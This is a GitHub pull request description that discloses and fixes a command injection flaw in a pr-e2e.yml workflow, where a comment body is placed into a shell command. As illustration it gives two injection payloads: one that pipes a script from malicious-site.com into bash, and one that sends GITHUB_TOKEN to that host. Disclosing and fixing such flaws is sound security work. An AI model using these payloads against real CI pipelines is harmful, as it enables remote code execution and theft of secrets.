Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
pr-e2e.yml is vulnerable to RCE via command injection in comment body. Currently, the following block simply appends the comment body to the shell command. Since the comment body is under user's control, a malicious entity could create a comment such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, supply chain attack etc:
A simple example of a malicious payload in the comment body can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the command.
Similarly, to exfiltrate environment variables, a sample payload in the comment body can be:
Security"; $GITHUB_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/
This would first save the contents of the GITHUB_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.
Fixes GHSA-w92x-gx4w-j5f2
RCE via command injection in pr-e2e.yml
References
For more information about this vulnerability, please refer to the following resources:
Exploiting GitHub Actions on Open Source Projects
Vulnerabilities in CI/CD Pipelines of Popular Open-Source Projects
Vulnerable GitHub Actions Workflows